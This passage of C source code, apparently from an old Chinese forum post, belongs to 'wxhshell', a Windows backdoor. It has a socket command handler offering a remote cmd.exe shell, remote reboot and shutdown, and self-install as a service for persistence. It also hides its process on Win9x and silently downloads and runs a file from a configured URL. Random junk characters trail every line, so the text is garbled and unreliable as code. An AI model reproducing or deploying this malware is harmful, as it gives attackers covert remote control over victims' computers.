  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G &m>Ov$#&  
  } :U7;M}0  
  else { 4 3}qaf[  
$&bU2]  
    switch(cmd[0]) { DrW/KU,{+(  
  LPsh?Ca?N  
  // 帮助 $4ka +nfU  
  case '?': { Pxap;;\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :p,c%"8  
    break; $hC~af6  
  } (q055y  
  // 安装 k&n\ =tKN  
  case 'i': { 4U_rB9K$  
    if(Install()) L!`*R)I45  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ZxW"5oq  
    else jc3ExOH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rHH#@ Zx  
    break; rD_Ss.\^g  
    } 7$;c6_se  
  // 卸载 "X\q%%P=?  
  case 'r': { =B1`R%t  
    if(Uninstall()) .n?5}s+q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D 86 K$IT  
    else "#[o?_GaJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \xy:6gd:  
    break; >eTf}#s?S  
    } N;%j#(v j  
  // 显示 wxhshell 所在路径 /^nP_ID  
  case 'p': { E>o&GYc  
    char svExeFile[MAX_PATH]; T9aTEsA[U  
    strcpy(svExeFile,"\n\r"); '&rw=.cU  
      strcat(svExeFile,ExeFile); "-G.V#zI  
        send(wsh,svExeFile,strlen(svExeFile),0); NHst7$Y<  
    break; >?H_A  
    } :0i#=ODR  
  // 重启 C6Um6 X9/i  
  case 'b': { ZS07_6.~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w;yar=n  
    if(Boot(REBOOT)) :/n ?4K^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0tn7Rkiw  
    else { :FEd:0TS  
    closesocket(wsh); Lqy|DJ%  
    ExitThread(0); gEX:S(1 QP  
    } qdg= Imx  
    break; ":5~L9&G  
    } VKl~oFKXJ  
  // 关机 H J2O@e  
  case 'd': { g;| n8]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N9~'P-V  
    if(Boot(SHUTDOWN)) {FrHm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D_L'x"  
    else { BN bb&]  
    closesocket(wsh); UFSEobhg&5  
    ExitThread(0); O :5ldI  
    } 3?-V>-[G_  
    break; LWp?U!N  
    } LGdf_M-f  
  // 获取shell x`&P}4v0  
  case 's': { hfVzzVX:  
    CmdShell(wsh); bYRQI=gW':  
    closesocket(wsh); 0ll,V  
    ExitThread(0); NpjsZcA  
    break; Br?++\  
  } *R1d4|/G  
  // 退出 cHfK-R  
  case 'x': { *GY,h$Ul  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^^W`Lh%9  
    CloseIt(wsh); !YuON6{)  
    break; qX}dbuDE"P  
    } *;~{_Disz  
  // 离开 k;9#4^4(  
  case 'q': { O;.d4pO(tC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I+-Rs2wb  
    closesocket(wsh); 4.$hHFqS^5  
    WSACleanup(); |G5=>W  
    exit(1); iyHp$~,q?t  
    break; Av\ 0GqF  
        } -F~9f>  
  } Q'vIeG"o  
  } eFeCS{LV+  
'JXN*YO  
  // 提示信息 "@):*3 4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @5 POgQ8  
} [K^q: 3R  
  } `s]zk {x  
P-*R N   
  return; 6'X.[0M  
} X]f#w  
J^e|"0d  
// shell模块句柄 S a#d?:L  
int CmdShell(SOCKET sock)  Q}`2Y^.  
{ )@};lmPR  
STARTUPINFO si; u+"hr"}${  
ZeroMemory(&si,sizeof(si)); 8wNU2yH+D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bC>yIjCTn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~S~x@&yR  
PROCESS_INFORMATION ProcessInfo; ESXU, qK]v  
char cmdline[]="cmd"; ui:>eYv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ff2.| 20  
  return 0; kgib$t_7  
} aF_ZV bS  
#6#BSZ E  
// 自身启动模式 #gr+%=S'6C  
int StartFromService(void) m/"=5*pA  
{ s`7 _J9  
typedef struct F'T= Alf  
{ A1&>L9nUx  
  DWORD ExitStatus; 7{6cLYl  
  DWORD PebBaseAddress; `dq3=  
  DWORD AffinityMask; blQzVp-  
  DWORD BasePriority; b&_u O  
  ULONG UniqueProcessId; )QJU ]G  
  ULONG InheritedFromUniqueProcessId; hwb(W?*  
}   PROCESS_BASIC_INFORMATION; XzTH,7[n  
=.3P)gY)  
PROCNTQSIP NtQueryInformationProcess; _s#/f5<:B  
LKwUpu!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &t@6qi`d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e#Zf>hlAz  
t,as{.H{h  
  HANDLE             hProcess; M,dzf  
  PROCESS_BASIC_INFORMATION pbi; d1LTyzLr  
r5$?4t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /A`zy  
  if(NULL == hInst ) return 0; QK/+*hr;  
#+5mpDh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); APOU&Wd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *p<5(-J3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ($ 1<Dj:  
Z[A|SyZp  
  if (!NtQueryInformationProcess) return 0; M#gGD-  
5 <>agK]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gpTF^.(  
  if(!hProcess) return 0; %2FCpre;  
?tM].\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DcvmeGl  
():?FJ M  
  CloseHandle(hProcess); 5In8VE !P  
28L'7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %l$&_xV-  
if(hProcess==NULL) return 0; (YWc%f4  
4m~stDlN  
HMODULE hMod; 2wim P8  
char procName[255]; kl<B*:RqH  
unsigned long cbNeeded; R S_lQ{'  
f4;8?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7)5$1  
}R] }@i~i  
  CloseHandle(hProcess); JV*,!5  
EG:WE^4  
if(strstr(procName,"services")) return 1; // 以服务启动 hF%~iqd  
 B*~Bm.  
  return 0; // 注册表启动 QcVtv7+*v  
} UK9MWC5g9  
o[+|n[aT)3  
// 主模块 &_x/Dzu!z  
int StartWxhshell(LPSTR lpCmdLine) _nCs$ U  
{ 2/o/UfYjgF  
  SOCKET wsl; C36.UZoc  
BOOL val=TRUE; aGkVC*T  
  int port=0; sYW)h$p;D  
  struct sockaddr_in door; 4Xho0lO&  
wjGjVTtHs  
  if(wscfg.ws_autoins) Install(); HC`3AQ12!&  
8QgL7  
port=atoi(lpCmdLine); .2-JV0  
8@*|T?r  
if(port<=0) port=wscfg.ws_port; 9^h%}>  
pD.@&J~  
  WSADATA data; -{sv3|P>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NqfDY  
*"bp}3$^^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y{:/vOj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); = 8e8!8  
  door.sin_family = AF_INET; T7_ SO,X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tcdn"]#U  
  door.sin_port = htons(port); ^%/5-0?xE  
~oR&0et  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 10C91/  
closesocket(wsl); '/*rCB  
return 1; = y,avR  
} J^a"1|  
sWCm[HpG  
  if(listen(wsl,2) == INVALID_SOCKET) { [<I `slK  
closesocket(wsl); zi&d  
return 1; g#2X'%&+  
} 9<r}s  
  Wxhshell(wsl); p%y\`Nlgdx  
  WSACleanup(); !>);}J!e]  
5K-)X9z?  
return 0; *M<=K.*\G  
]<?)(xz  
} 1KR|i"  
%{_ YJXpO  
// 以NT服务方式启动 ?B!ZqJ#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~0{Kga  
{ 32FGDM  
DWORD   status = 0; T@WMT,J6j  
  DWORD   specificError = 0xfffffff; IbaL.t\>  
Z|GkM5QH:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Bj[/ tQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "{xv|C<*n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dct#E CT  
  serviceStatus.dwWin32ExitCode     = 0; E.bbIV6mQ  
  serviceStatus.dwServiceSpecificExitCode = 0; */e5lRO\  
  serviceStatus.dwCheckPoint       = 0; R51!j>[fqM  
  serviceStatus.dwWaitHint       = 0; N9|.D.#MF  
Bx!` UdRn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ABDUp:  
  if (hServiceStatusHandle==0) return; [1MEA;  
YU,:3{9,  
status = GetLastError(); *c c+Fd  
  if (status!=NO_ERROR) YYh_lAS>  
{ Czxrn2p/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cY]Y8T)  
    serviceStatus.dwCheckPoint       = 0; <~*Ol+/  
    serviceStatus.dwWaitHint       = 0; j7+t@DqQ  
    serviceStatus.dwWin32ExitCode     = status; vp9<.*h  
    serviceStatus.dwServiceSpecificExitCode = specificError; _ 7.y4zQJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5hK\YTU  
    return; ay|{!MkQ  
  } .4(f0RG  
*03/ :q^(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v('d H"Y  
  serviceStatus.dwCheckPoint       = 0; *?"{T;4u~O  
  serviceStatus.dwWaitHint       = 0; <BA&S _=4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "uC*B4`  
} K7VG\Ec  
jdf@lb=5l  
// 处理NT服务事件,比如:启动、停止 Z!eq/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w8ld* z  
{ (32nI?)a  
switch(fdwControl) I*2rS_i[T  
{ #L$ I %L"  
case SERVICE_CONTROL_STOP: ,e_#   
  serviceStatus.dwWin32ExitCode = 0; 2:F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]w_)Spo.  
  serviceStatus.dwCheckPoint   = 0; c/U6K yiK  
  serviceStatus.dwWaitHint     = 0; @v=q,A8_  
  { =1[g`b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VrxH6Y  
  } !l^AKn|  
  return; ~m U_ `o  
case SERVICE_CONTROL_PAUSE: rv%[?Ml  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l$9,  
  break; A$6b=2hc>  
case SERVICE_CONTROL_CONTINUE: H12@12v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8E[`H  
  break; `%p6i| _Q  
case SERVICE_CONTROL_INTERROGATE: Zx 1z hc  
  break; `ayc YoD  
}; VC7F#a*V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %MNV 5UA[w  
} b{Ss+F  
= h( n+y<  
// 标准应用程序主函数 Ti'kn{ Zv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y sV  
{ D.`\ ^a  
1?\Y,+  
// 获取操作系统版本 >cL2PN_y  
OsIsNt=GetOsVer(); 7k|(5P;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +Bfi/>  
}C.{+U  
  // 从命令行安装 2N 4>  
  if(strpbrk(lpCmdLine,"iI")) Install(); :5J6rj;_  
fk1f'M)/8  
  // 下载执行文件 >t(@?*ZFT  
if(wscfg.ws_downexe) { mO.U )tL[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I9>*Yy5RNS  
  WinExec(wscfg.ws_filenam,SW_HIDE); q+~CA[H5K  
} |9eY R  
o+TZUMm  
if(!OsIsNt) { ,eCXT=6  
// 如果时win9x,隐藏进程并且设置为注册表启动 @D=`iG%  
HideProc(); K6 7? d  
StartWxhshell(lpCmdLine); ;i>E @  
} SI5QdX  
else Beg5[4@  
  if(StartFromService()) *rT(dp!Y  
  // 以服务方式启动 gw T,D.'Ut  
  StartServiceCtrlDispatcher(DispatchTable); V0i$"|F+ E  
else pN_!&#|+$  
  // 普通方式启动 [CX?Tt  
  StartWxhshell(lpCmdLine); & jvG]>CS'  
Sw'?$j^3  
return 0; 'bPo 5V|  
}
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只看该作者 1 发表于: 2006-10-10
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